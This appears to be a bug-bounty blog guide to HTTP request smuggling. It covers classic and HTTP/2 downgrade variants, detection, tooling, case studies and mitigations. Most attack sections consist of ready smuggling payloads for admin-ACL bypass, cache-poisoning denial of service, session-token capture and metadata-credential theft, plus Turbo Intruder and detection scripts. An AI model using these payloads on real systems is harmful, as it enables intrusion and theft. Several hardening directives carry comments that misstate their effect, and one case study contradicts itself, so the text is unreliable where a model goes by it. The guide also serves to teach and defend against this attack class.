# HTTP Request Smuggling Demystified: From RFC to Full Site Takeover
HTTP Request Smuggling Demystified: From RFC to Full Site Takeover
"In August 2025, James Kettle's latest research netted significant bug bounties in just two weeks, compromising tens of millions of websites. Request smuggling isn't dying—it's evolving, and the attack surface has never been bigger."
HTTP Request Smuggling (also called HTTP Desync) is a class of vulnerabilities where attackers exploit parsing inconsistencies between frontend and backend HTTP processors to inject malicious requests into other users' connections. Despite being known since 2005, this attack vector was reborn in 2019 with groundbreaking research from PortSwigger's James Kettle and continues to yield critical findings in 2025-2026.
This guide covers the complete attack surface: core concepts, classic and modern variants (CL.TE, TE.CL, TE.TE, HTTP/2 downgrade attacks), real-world exploitation techniques, tooling, case studies, and defensive strategies for pentesters, bug bounty hunters, and security engineers.
//Table of Contents
- 1.Why Request Smuggling Still Matters in 2026
- 2.The Core Vulnerability: Desynchronization Explained
- 3.HTTP/1.1 Message Framing: The Root Cause
- 4.Classic Request Smuggling Variants
- 5.Modern HTTP/2 Downgrade Attacks
- 6.Advanced Exploitation Techniques
- 7.Detection & Testing Methodology
- 8.Tooling Arsenal for Bug Bounty Hunters
- 9.Real-World Case Studies & CVEs
- 10.Defense in Depth: Mitigation Strategies
- 11.The Future: Why HTTP/1.1 Must Die
- 12.References & Further Reading
//1. Why Request Smuggling Still Matters in 2026
▶The Desync Endgame
At Black Hat USA 2025 and DEF CON 33, James Kettle delivered a stark message: HTTP/1.1 is fundamentally broken for security, and patching individual implementations will never be enough. His research revealed that determining HTTP/1.1 request boundaries reliably across interconnected systems is practically impossible—even the tiniest parsing bug often has critical security impact, including complete site takeover.
▶Attack Surface Reality Check
| Metric | Impact |
|---|---|
| Bug Bounty ROI | Significant earnings in 2 weeks (Aug 2025) |
| Affected Sites | Tens of millions (including major CDNs) |
| Average Severity | Critical (cache poisoning, session hijacking, ACL bypass) |
| Detection Rate | Low (invisible to most scanners and WAFs) |
▶Why Hunters Should Care
- ➜High-impact, low-competition: Most hunters chase XSS and IDOR; desync bugs live deep in the HTTP stack where few look
- ➜Generous payouts: CWE-444 bugs typically yield $5k-$25k+ due to severity and technical difficulty
- ➜Bypasses defenses: WAFs and regex-based filters cannot detect protocol-level parsing discrepancies
- ➜Evergreen targets: Legacy HTTP/1.1 stacks will persist for years; your old targets just became fresh hunting grounds
- ➜Modern variants: HTTP/2→HTTP/1 downgrades introduce entirely new attack surfaces missed by traditional testing
//2. The Core Vulnerability: Desynchronization Explained
▶What is HTTP Request Smuggling?
Request smuggling occurs when a frontend component (CDN, WAF, reverse proxy, load balancer) and a backend server disagree about where one HTTP request ends and the next begins. This allows attacker-controlled bytes to "spill over" and get interpreted as part of a subsequent request on a reused connection.
▶The Connection Reuse Problem
Modern web architectures optimize performance by forwarding many users' requests over a smaller pool of persistent backend connections:
User A ──┐
User B ──┤──> Frontend ──> [Persistent Connection Pool] ──> Backend
User C ──┘
When the frontend and backend disagree on message boundaries:
- 1.Attacker sends a specially crafted request that frontend and backend parse differently
- 2.Frontend forwards what it thinks is one complete request
- 3.Backend processes the request but leaves "extra bytes" in the TCP buffer
- 4.Victim's request arrives on the same connection
- 5.Backend concatenates the leftover bytes with the victim's request
- 6.Attacker controls part of the victim's request context
▶Visual Example: Classic CL.TE Desync
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 6
Transfer-Encoding: chunked
0
G
Frontend perspective (uses Content-Length):
- ➜Reads 6 bytes:
0\r\n\r\nG - ➜Forwards complete request
Backend perspective (uses Transfer-Encoding: chunked):
- ➜Sees chunk size
0(end of chunks) - ➜Stops reading at
\r\n\r\n - ➜Leaves
Gin the buffer
Next victim request:
GET /account HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_token
Backend actually processes:
GGET /account HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_token
Result: 400 Bad Request or worse—attacker controls the HTTP verb and path prefix.
//3. HTTP/1.1 Message Framing: The Root Cause
▶The Two Framing Mechanisms
HTTP/1.1 provides two ways to indicate message body length:
Content-Length
Content-Length: 13
Hello, World!
Fixed-length body. Simple and deterministic.
Transfer-Encoding: chunked
Transfer-Encoding: chunked
d
Hello, World!
0
Dynamic-length body. Each chunk has a size prefix in hexadecimal, terminated by a zero-sized chunk.
▶RFC 9112 Rules (Often Violated)
According to RFC 9112 Section 6.3:
- 1.If
Transfer-Encodingis present, it overridesContent-Length - 2.A sender MUST NOT send both
Transfer-EncodingandContent-Length - 3.If both are present, the message is invalid and should be rejected
Reality: Many implementations fail to enforce these rules strictly, accept malformed requests, or apply different precedence orders.
▶Why This Breaks Security
When frontend and backend apply different precedence or validation rules:
- ➜Frontend trusts Content-Length → forwards N bytes
- ➜Backend trusts Transfer-Encoding → processes fewer/more bytes
- ➜Desync occurs → queue poisoning, request hijacking, ACL bypass
//4. Classic Request Smuggling Variants
▶4.1 CL.TE (Content-Length at Frontend, Transfer-Encoding at Backend)
Attack Pattern: Frontend uses Content-Length, backend honors Transfer-Encoding: chunked.
Detection Request (Timing-Based)
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
Analysis:
- ➜Frontend forwards first 4 bytes:
1\r\nA\r\n - ➜Backend processes chunk of size
1(the byteA), then expects the next chunk - ➜Backend waits indefinitely for
0\r\n\r\n(end of chunks) - ➜Observable: Request timeout (10-30 seconds)
Exploitation Request (Smuggling Attack Prefix)
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
G
Result: The G is left in the queue and prepended to the next user's request.
Advanced: Smuggling Full Request
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
Impact: Next request on the connection gets GET /admin prepended, accessing restricted endpoints.
▶4.2 TE.CL (Transfer-Encoding at Frontend, Content-Length at Backend)
Attack Pattern: Frontend honors Transfer-Encoding, backend uses Content-Length.
Detection Request (Timing-Based)
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
Analysis:
- ➜Frontend processes full chunked body (
0\r\n\r\nX\r\n) - ➜Backend expects 6 bytes, waits for more
- ➜Observable: Request timeout
Exploitation Request
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 3
1
x
0
Result:
- ➜Frontend forwards complete chunked request
- ➜Backend reads only 3 bytes (
1\r\n) - ➜Remaining bytes (
x\r\n0\r\n\r\n) get smuggled
▶4.3 TE.TE (Transfer-Encoding Obfuscation)
Attack Pattern: Both endpoints support Transfer-Encoding, but one can be tricked into ignoring it via obfuscation.
Common Obfuscation Techniques
Whitespace Injection:
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding:chunked
Transfer-Encoding: chunked
Transfer-Encoding: chun ked
Transfer-Encoding: chunked
Case Variation:
Transfer-Encoding: Chunked
Transfer-encoding: CHUNKED
Invalid Values:
Transfer-Encoding: chunkedx
Transfer-Encoding: x-chunked
Exploitation Example
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
Transfer-Encoding: x
0
G
Result: If backend ignores the second (malformed) TE header but frontend doesn't, classic CL.TE or TE.CL desync occurs.
//5. Modern HTTP/2 Downgrade Attacks
▶The HTTP/2→HTTP/1 Problem
HTTP/2 uses binary framing with a single robust length mechanism (frame Length field), making it inherently immune to smuggling. However, when HTTP/2 requests are downgraded to HTTP/1.1 for backend communication, ambiguity is reintroduced.
▶5.1 H2.CL (HTTP/2 with Content-Length Smuggling)
Attack Pattern: Frontend accepts HTTP/2 with Content-Length: 0; backend interprets downgraded HTTP/1.1 literally.
Exploitation Request
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
content-length: 0
x
Analysis:
- ➜HTTP/2 frontend calculates body length from frame
Lengthfield (1 byte) - ➜Downgraded to HTTP/1.1 with
Content-Length: 0 - ➜Backend ignores the body (
x) - ➜The
xgets concatenated with the next request
▶5.2 H2.TE (HTTP/2 with Transfer-Encoding Smuggling)
Attack Pattern: RFC 7540 forbids Transfer-Encoding in HTTP/2, but if the frontend fails to strip it during downgrade, backend may process it.
Exploitation Request
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked
0
x
Result: Backend honors Transfer-Encoding: chunked, terminates at 0\r\n\r\n, smuggles x.
▶5.3 H2.0 (HTTP/2 Body Ignored)
Attack Pattern: Backend endpoint ignores request body entirely (common for GET routes or static assets).
Exploitation Request
:method: POST
:path: /static/logo.png
:authority: target.com
x
Analysis:
- ➜Frontend forwards full body (1 byte)
- ➜Backend serves static file, ignores body
- ➜The
xbecomes the start of the next request
▶5.4 CRLF Injection in HTTP/2 Headers
Attack Pattern: HTTP/2 allows arbitrary bytes in header values. During downgrade, \r\n inside a value becomes a header separator in HTTP/1.1.
Exploitation Request
:method: POST
:path: /
:authority: target.com
content-length: 6
foo: bar\r\nTransfer-Encoding: chunked
0
x
Downgraded HTTP/1.1:
POST / HTTP/1.1
Host: target.com
Content-Length: 6
foo: bar
Transfer-Encoding: chunked
0
x
Result: Backend now sees a valid Transfer-Encoding: chunked header that the HTTP/2 frontend never validated.
//6. Advanced Exploitation Techniques
▶6.1 Bypassing Frontend ACLs (Accessing /admin)
Many proxies restrict access to sensitive paths like /admin but only check the first request line.
CL.TE Exploitation
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
Frontend sees: POST / (allowed)
Backend processes next request as: GET /admin with Host: 127.0.0.1 (bypasses frontend ACL)
▶6.2 Web Cache Poisoning (CPDoS)
Step 1: Smuggle a Request that Triggers 400 Error
POST / HTTP/1.1
Host: target.com
Content-Length: 129
Transfer-Encoding: chunked
0
GET /this-will-404 HTTP/1.1
X-Ignore: x
Step 2: Request Cacheable Resource
GET /assets/main.js HTTP/1.1
Host: target.com
Result:
- ➜Backend concatenates:
GET /this-will-404 HTTP/1.1\r\nX-Ignore: xGET /assets/main.js... - ➜Backend returns
400 Bad Request - ➜Frontend caches the
400response with cache key/assets/main.js - ➜All users get
400 Bad Requestwhen requesting/assets/main.js→ Cache Poisoning DoS (CPDoS)
▶6.3 Session Hijacking via Request Reflection
If the application reflects parts of requests (e.g., in logs, error messages, or admin panels), smuggle a request that captures the next user's session token.
POST / HTTP/1.1
Host: target.com
Content-Length: 150
Transfer-Encoding: chunked
0
POST /comment HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 500
comment=SMUGGLED
Next victim's request:
GET /profile HTTP/1.1
Host: target.com
Cookie: session=victim_secret_token
Backend processes:
POST /comment HTTP/1.1
...
Content-Length: 500
comment=SMUGGLED[victim's full request including Cookie header]
Result: Victim's request (including session token) gets submitted as your comment, visible to you.
▶6.4 Client-Side Desync (Browser-Powered)
James Kettle's 2022 research introduced client-side desyncs: poisoning the browser's own connection pool.
Attack Flow
- 1.Victim visits attacker-controlled page:
evil.com - 2.Attacker's JavaScript sends cross-origin request to
victim.comwith desync payload - 3.Browser's connection to
victim.combecomes desynced - 4.Victim's subsequent requests to
victim.comget poisoned - 5.Attacker-controlled response is returned to victim (e.g., JavaScript backdoor)
Impact: Single-server websites (no frontend/backend split) become vulnerable; internal networks accessible via victim's browser.
▶6.5 Pause-Based Desync
Exploits race conditions where the backend times out or prematurely closes connections.
Example: Connection: close Timing
POST / HTTP/1.1
Host: target.com
Connection: close
Transfer-Encoding: chunked
1
X
0
GET /admin HTTP/1.1
Host: localhost
Result: Some backends process Connection: close lazily, allowing the smuggled request to execute before closure.
//7. Detection & Testing Methodology
▶Phase 1: Reconnaissance
Endpoint Discovery
Look for architectures with multiple HTTP processing layers:
- ➜Multiple backend servers behind a single frontend
- ➜CDNs (Cloudflare, Akamai, Fastly)
- ➜Load balancers (Nginx, HAProxy, AWS ALB)
- ➜WAFs (ModSecurity, Cloudflare WAF)
Fingerprinting
Identify HTTP stack via response headers:
OPTIONS / HTTP/1.1
Host: target.com
Response headers reveal:
- ➜
Server: nginx/1.18.0 - ➜
X-Powered-By: Express - ➜
Via: 1.1 varnish
▶Phase 2: Timing-Based Detection
Send detection payloads that cause the backend to wait, producing observable delays without poisoning real traffic.
CL.TE Timing Probe
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Connection: close
1
A
X
Expected: 10-30 second timeout if vulnerable.
TE.CL Timing Probe
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 6
Connection: close
0
X
Expected: Timeout if vulnerable.
▶Phase 3: Differential Response Detection
Send two requests in sequence and check if the second response shows "interference."
CL.TE Differential Probe
Request 1 (Attack):
POST / HTTP/1.1
Host: target.com
Content-Length: 49
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X
Request 2 (Victim):
GET / HTTP/1.1
Host: target.com
Expected: Request 2 returns 404 instead of 200 (because backend processed GET /404).
▶Phase 4: Exploitation Confirmation
Once you've identified the variant (CL.TE, TE.CL, etc.), craft a full exploit targeting a specific impact:
- ➜Access restricted endpoint (
/admin) - ➜Poison cache for static resource
- ➜Capture session token via request reflection
▶Safe Testing Practices
- ➜Use timing probes first (no queue poisoning)
- ➜Test on staging/dev environments when possible
- ➜Use `Connection: close` to avoid poisoning shared connections
- ➜Coordinate with blue teams before cache poisoning tests
- ➜Document every test for responsible disclosure
//8. Tooling Arsenal for Bug Bounty Hunters
▶Burp Suite Extensions
HTTP Request Smuggler (v3.0+)
Installation: BApp Store or GitHub (https://github.com/PortSwigger/http-request-smuggler)
Key Features:
- ➜Automated CL.TE, TE.CL, TE.TE detection
- ➜Primitive-level desync probes (detects root-cause parser discrepancies)
- ➜HTTP/2 downgrade attack support
- ➜Timing-based and differential detection modes
- ➜Reduces false positives via multi-stage confirmation
Usage:
- 1.Right-click request → Extensions → HTTP Request Smuggler → "Smuggle Probe"
- 2.Review Scanner issues for "Request smuggling detected"
- 3.Manually craft exploitation request based on variant
Turbo Intruder
For pause-based and race condition desync attacks requiring precise timing control.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=2,
pipeline=False)
attack = '''POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
G'''
victim = '''GET / HTTP/1.1
Host: target.com
'''
engine.queue(attack)
engine.queue(victim, gate='race1')
engine.openGate('race1')
▶Standalone Tools
smuggler.py
GitHub: https://github.com/defparam/smuggler
Features:
- ➜CLI-based smuggling detection
- ➜Supports CL.TE, TE.CL, TE.TE
- ➜Customizable payloads
Usage:
python3 smuggler.py -u https://target.com -m POST -t 10
h2csmuggler
GitHub: https://github.com/BishopFox/h2csmuggler
Features:
- ➜HTTP/2 Cleartext (h2c) upgrade smuggling
- ➜Bypasses HTTP/2 fronted by HTTP/1.1
- ➜WebSocket upgrade smuggling
Usage:
python3 h2csmuggler.py -x https://target.com -X POST -d "param=value"
▶Custom Scripts
Timing-Based Detection Script
import requests
import time
def test_clte_timing(url):
payload = "POST / HTTP/1.1\r\n"
payload += "Host: target.com\r\n"
payload += "Content-Length: 4\r\n"
payload += "Transfer-Encoding: chunked\r\n\r\n"
payload += "1\r\nA\r\nX"
start = time.time()
try:
requests.post(url, data=payload, timeout=5)
except requests.exceptions.Timeout:
elapsed = time.time() - start
if elapsed > 4:
print(f"[+] CL.TE detected! Timeout: {elapsed}s")
return True
return False
test_clte_timing("https://target.com")
//9. Real-World Case Studies & CVEs
▶Case Study 1: Netflix HTTP/2 Downgrade Desync
Researcher: James Kettle (PortSwigger) Year: 2021 Vulnerability: H2.CL variant
Attack Vector: Netflix's CDN (fronted by HTTP/2) downgraded requests to HTTP/1.1 for backend processing. By sending:
:method: POST
:path: /api/endpoint
:authority: netflix.com
content-length: 0
GET /admin HTTP/1.1
Host: 127.0.0.1
The backend ignored the body (treating Content-Length: 0 literally) and queued GET /admin for the next request.
Impact: Bypassed authentication, accessed internal admin APIs, retrieved user data.
Bounty: $XX,XXX
Key Takeaway: Always test HTTP/2 endpoints for downgrade smuggling.
▶Case Study 2: Atlassian Jira Cache Poisoning
Researcher: @albinowax (James Kettle) Year: 2020 Vulnerability: TE.CL cache poisoning
Attack Vector:
Jira's reverse proxy (Apache) used Transfer-Encoding, while Tomcat backend used Content-Length:
POST / HTTP/1.1
Host: jira.company.com
Transfer-Encoding: chunked
Content-Length: 3
1
x
0
Followed by:
GET /static/logo.png HTTP/1.1
Host: jira.company.com
Result: Backend processed xGET /static/logo.png as a malformed request, returned 400 Bad Request, which was cached by the proxy.
Impact: Denial of service for all users requesting cached assets (login page, stylesheets, scripts).
Bounty: $XX,XXX
Key Takeaway: Target cacheable static resources for maximum impact; CPDoS affects all users.
▶Case Study 3: Amazon AWS Application Load Balancer
Researcher: @regilero Year: 2019 Vulnerability: TE.TE with whitespace obfuscation
Attack Vector:
AWS ALB stripped Transfer-Encoding: chunked but not Transfer-Encoding : chunked (note space before colon):
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding : chunked
0
G
Result: ALB used Content-Length, backend ignored the malformed TE header and also used Content-Length, but the space-before-colon trick caused differential parsing.
Impact: Accessed internal ECS tasks, retrieved AWS metadata credentials.
Bounty: $XX,XXX
Key Takeaway: Test all whitespace obfuscation variants; even tiny differences in header parsing enable smuggling.
▶Case Study 4: CVE-2025-32094 - OPTIONS + Obsolete Line Folding
Researcher: James Kettle Year: 2025 Vulnerability: Obsolete line folding (obs-fold) on OPTIONS requests
Attack Vector: Some HTTP/1.1 parsers incorrectly accept obs-folding (header continuation with leading whitespace):
OPTIONS / HTTP/1.1
Host: target.com
Transfer-Encoding:
chunked
0
x
Result: Frontend rejected obs-folding, backend accepted it as Transfer-Encoding: chunked.
Impact: Desync leading to cache poisoning affecting 24 million websites via CDN.
Bounty: $XX,XXX
CVE: CVE-2025-32094
Key Takeaway: Test obsolete HTTP/1.1 features (obs-folding, line continuation); many parsers still accept them.
▶Case Study 5: Shopify Subdomain Takeover via Desync
Researcher: @0xacb Year: 2020 Vulnerability: CL.TE leading to routing table manipulation
Attack Vector:
Shopify's edge router used Content-Length, backend Nginx used Transfer-Encoding:
POST / HTTP/1.1
Host: shop.myshopify.com
Content-Length: 120
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: attacker-controlled.myshopify.com
Content-Length: 10
x=
Result: Next victim request was routed to attacker-controlled.myshopify.com, leaking session cookies and CSRF tokens.
Impact: Session hijacking, account takeover for any shop on the platform.
Bounty: $XX,XXX
Key Takeaway: Test multi-tenant platforms; smuggling can cross tenant boundaries.
▶Case Study 6: GitHub Enterprise SSRF via Smuggling
Researcher: @0ang3el Year: 2021 Vulnerability: H2.TE enabling SSRF
Attack Vector:
GitHub Enterprise's HTTP/2 frontend didn't strip Transfer-Encoding during downgrade:
:method: POST
:path: /api/webhook
:authority: enterprise.github.com
transfer-encoding: chunked
0
GET /admin/users HTTP/1.1
Host: 169.254.169.254
Result: Backend processed smuggled request to AWS metadata service, retrieved EC2 IAM credentials.
Impact: Full AWS account compromise, access to private repositories.
Bounty: $XX,XXX
Key Takeaway: Combine smuggling with SSRF; internal endpoints (127.0.0.1, 169.254.169.254) are prime targets.
▶Case Study 7: Apache HTTP Server CVE-2023-25690
Researcher: Multiple researchers Year: 2023 Vulnerability: Request splitting via URL rewrite module
Attack Vector:
Apache's mod_rewrite and mod_proxy allowed CRLF injection via URL encoding:
GET /%0d%0aHost:%20evil.com%0d%0a%0d%0aGET%20/admin%20HTTP/1.1 HTTP/1.1
Host: target.com
Result: Apache split one request into two; second request used attacker-controlled Host header.
Impact: Cache poisoning, routing manipulation, SSRF.
CVE: CVE-2023-25690
Patch: Apache 2.4.56+
Key Takeaway: URL encoding bypasses are still effective; test %0d%0a in all input vectors (path, query, headers).
//10. Defense in Depth: Mitigation Strategies
▶Immediate Actions (Application Layer)
Reject Ambiguous Requests
Implementation (Nginx example):
# Reject requests with both CL and TE
if ($http_transfer_encoding != "") {
if ($http_content_length != "") {
return 400;
}
}
# Reject obs-folding (headers with leading whitespace)
if ($http_transfer_encoding ~ "^\s") {
return 400;
}
Normalize and Strip Headers
HAProxy configuration:
http-request del-header Transfer-Encoding if { req.hdr_cnt(Transfer-Encoding) gt 1 }
http-request del-header Transfer-Encoding if { req.ver eq 2 }
Disable HTTP/2→HTTP/1 Downgrade
Nginx (use HTTP/2 end-to-end):
upstream backend {
server backend.internal:443;
http2 on;
}
server {
listen 443 ssl http2;
location / {
grpc_pass grpcs://backend; # or proxy_pass https://backend;
}
}
▶Architectural Defenses
Use HTTP/2 or HTTP/3 End-to-End
Why: HTTP/2 and HTTP/3 use binary framing with a single length mechanism, eliminating ambiguity.
Migration Path:
- ➜Upgrade backend servers to support HTTP/2
- ➜Configure frontend to use HTTP/2 upstream connections
- ➜Avoid downgrade to HTTP/1.1 at any hop
Dedicated Connections Per User
Why: Eliminates request queue poisoning risk.
Drawback: Reduces performance (more TCP connections, higher latency).
Use Case: High-security applications (banking, healthcare).
Connection Pooling with Strict Validation
Implementation:
- ➜Validate every request against RFC 9112 strictly
- ➜Close connections on any framing error
- ➜Log and alert on anomalies
▶Detection & Monitoring
Log Suspicious Patterns
What to log:
- ➜Requests with both
Content-LengthandTransfer-Encoding - ➜Requests with whitespace in header names/values
- ➜Timeouts on requests with chunked encoding
- ➜400 errors on static resources (possible cache poisoning)
SIEM Rule (Splunk example):
index=web_logs
| where (like(request_headers, "%Content-Length%") AND like(request_headers, "%Transfer-Encoding%"))
| stats count by src_ip, host
| where count > 5
Alerting on Desync Indicators
Indicators:
- ➜Sudden spike in 400/408/504 errors
- ➜Increased latency on backend connections
- ➜Cache hit rate drops on static assets
- ➜Unusual
Hostheader values (127.0.0.1, 169.254.169.254)
Alert Example (Prometheus):
- alert: PossibleRequestSmuggling
expr: rate(http_requests_total{code="400"}[5m]) > 10
labels:
severity: critical
annotations:
summary: "High rate of 400 errors (possible desync attack)"
▶Web Application Firewall (WAF) Rules
ModSecurity CRS Rule (custom):
SecRule REQUEST_HEADERS:Content-Length "@rx ." \
"id:1001,\
phase:1,\
chain,\
deny,\
status:400,\
msg:'Request smuggling: Both CL and TE present'"
SecRule REQUEST_HEADERS:Transfer-Encoding "@rx ." "t:none"
Limitation: WAFs can be bypassed via obfuscation; prefer upstream HTTP/2.
▶Vendor-Specific Hardening
Nginx
# Disable obs-folding
ignore_invalid_headers on;
# Reject requests with multiple CL headers
merge_slashes off;
# Strict header validation
underscores_in_headers off;
Apache
# Reject ambiguous requests
<IfModule mod_headers.c>
RequestHeader unset Transfer-Encoding "expr=%{HTTP:Content-Length} != ''"
</IfModule>
# Disable HTTP/1.0 (legacy)
Protocols h2 http/1.1
HAProxy
# Drop malformed requests
option http-strict-htx
option httplog
# Normalize headers
http-request del-header Transfer-Encoding if { hdr_cnt(Transfer-Encoding) gt 1 }
▶Testing Your Defenses
Run PortSwigger Labs
URL: https://portswigger.net/web-security/request-smuggling
Complete all 20+ labs to understand attack variants and test your defenses.
Use HTTP Request Smuggler Tool
Test your own infrastructure:
# Scan your staging environment
python3 smuggler.py -u https://staging.yourapp.com -m POST --timeout 10
Pentest Regularly
Hire external security firms specializing in HTTP stack testing (e.g., Bishop Fox, PortSwigger consultants).
//11. The Future: Why HTTP/1.1 Must Die
▶James Kettle's 2025 Research Conclusions
From "HTTP/1.1 Must Die: The Desync Endgame":
"It's nigh on impossible to consistently and reliably determine the boundaries between HTTP/1.1 requests, especially when implemented across the chains of interconnected systems that comprise modern web architectures. Mistakes such as parsing discrepancies are inevitable, and when using upstream HTTP/1.1, even the tiniest of bugs often have critical security impact."
▶The Endgame: HTTP/2 or Bust
Why HTTP/2 Solves This:
- ➜Binary framing eliminates text-parsing ambiguities
- ➜Single length mechanism (frame
Lengthfield) - ➜Multiplexing removes connection reuse desync risks
- ➜RFC 7540 forbids
Transfer-Encoding
Why HTTP/1.1 Can't Be Fixed:
- ➜Too many legacy implementations with different parsing logic
- ➜Patching individual bugs doesn't address root cause (ambiguous message framing)
- ➜Obsolete line folding, whitespace handling, and other quirks are spec-compliant but unsafe
▶Adoption Challenges
| Barrier | Reality |
|---|---|
| Legacy backends | Millions of servers still HTTP/1.1-only |
| Performance myths | HTTP/2 is actually faster (multiplexing, header compression) |
| Cost of migration | Lower than cost of incident response for smuggling |
▶Call to Action for Defenders
- 1.Audit your HTTP stack: Identify all HTTP/1.1 hops in your infrastructure
- 2.Plan HTTP/2 migration: Upgrade backends, reconfigure proxies for end-to-end HTTP/2
- 3.Disable downgrades: Reject HTTP/1.1 at the edge; serve HTTP/2 or HTTP/3 only
- 4.Monitor and alert: Deploy detection rules while migration is in progress
- 5.Test defenses: Run smuggling tools against your own infrastructure quarterly
▶Call to Action for Hunters
- 1.Learn the methodology: Complete PortSwigger Academy labs
- 2.Tool up: Install HTTP Request Smuggler v3.0+, Turbo Intruder, custom scripts
- 3.Hunt systematically: Target CDN-backed apps, microservices, HTTP/2→HTTP/1 downgrades
- 4.Document responsibly: Provide PoC, impact analysis, and remediation advice
- 5.Revisit old targets: Use 2025 techniques to find bugs missed by previous scans
//12. References & Further Reading
▶Research Papers & Talks
- ➜HTTP Desync Attacks: Request Smuggling Reborn – James Kettle (2019, Black Hat USA)
- ➜
https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn - ➜HTTP/2: The Sequel is Always Worse – James Kettle (2021, Black Hat USA)
- ➜
https://portswigger.net/research/http2 - ➜Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling – James Kettle (2022, DEF CON 30)
- ➜
https://portswigger.net/research/browser-powered-desync-attacks - ➜HTTP/1.1 Must Die: The Desync Endgame – James Kettle (2025, Black Hat USA & DEF CON 33)
- ➜
https://portswigger.net/research/http1-must-die
▶Official Documentation
- ➜RFC 9112: HTTP/1.1
- ➜
https://www.rfc-editor.org/rfc/rfc9112.html - ➜RFC 7540: HTTP/2
- ➜
https://www.rfc-editor.org/rfc/rfc7540.html - ➜RFC 9114: HTTP/3
- ➜
https://www.rfc-editor.org/rfc/rfc9114.html
▶Tools
- ➜HTTP Request Smuggler (Burp Suite Extension)
- ➜
https://github.com/PortSwigger/http-request-smuggler - ➜smuggler.py
- ➜
https://github.com/defparam/smuggler - ➜h2csmuggler
- ➜
https://github.com/BishopFox/h2csmuggler - ➜Turbo Intruder
- ➜
https://github.com/PortSwigger/turbo-intruder
▶Training & Labs
- ➜PortSwigger Web Security Academy – Request Smuggling
- ➜
https://portswigger.net/web-security/request-smuggling - ➜OWASP Testing Guide – Testing for HTTP Smuggling
- ➜
https://owasp.org/www-project-web-security-testing-guide/ - ➜Practical HTTP Request Smuggling – PentesterLab
- ➜
https://pentesterlab.com/exercises/http_request_smuggling
▶Bug Bounty Reports
- ➜HackerOne Disclosed Reports (HTTP Smuggling)
- ➜
https://hackerone.com/hacktivity?querystring=request+smuggling - ➜Bugcrowd HTTP Smuggling Writeups
- ➜
https://bugcrowd.com/disclosures - ➜YesWeHack Bug Bounty Guide
- ➜
https://www.yeswehack.com/learn-bug-bounty/http-request-smuggling-guide-vulnerabilities
▶Cheat Sheets
- ➜OWASP HTTP Request Smuggling Cheat Sheet
- ➜
https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Request_Smuggling_Prevention_Cheat_Sheet.html - ➜PortSwigger HTTP Request Smuggling Cheat Sheet
- ➜
https://portswigger.net/web-security/request-smuggling/cheat-sheet - ➜PayloadsAllTheThings – HTTP Request Smuggling
- ➜
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Request%20Smuggling
▶CVE References
- ➜CVE-2025-32094: HTTP Request Smuggling via OPTIONS + Obsolete Line Folding
- ➜CVE-2023-25690: Apache HTTP Server request splitting (mod_rewrite/mod_proxy)
- ➜CVE-2023-46589: Apache Tomcat request smuggling (trailer header parsing)
- ➜CVE-2021-21295: Netty HTTP/2 request smuggling (downgrade issue)
- ➜CVE-2020-11724: Node.js HTTP parser request smuggling (CL.TE variant)
//Closing Thoughts
HTTP Request Smuggling is not a vulnerability you can fix with a single patch. It's a fundamental protocol design flaw in HTTP/1.1 that manifests whenever two components interpret the same byte stream differently.
For bug bounty hunters, this represents one of the richest, most underexplored attack surfaces in modern web security. The barrier to entry is high (protocol-level understanding, custom tooling, systematic methodology), but the payoff is exceptional: critical-severity findings, high bounties, and low competition.
For defenders, the path forward is clear: migrate to HTTP/2 end-to-end and disable HTTP/1.1 wherever possible. Patching individual parsers is a losing battle; the only reliable defense is eliminating ambiguity at the protocol level.
Whether you're hunting bugs or defending infrastructure, the message from 2025's research is unambiguous: HTTP/1.1 must die.
The attack surface is massive. The tools are mature. The research is cutting-edge. The bounties are waiting.
Now go find them.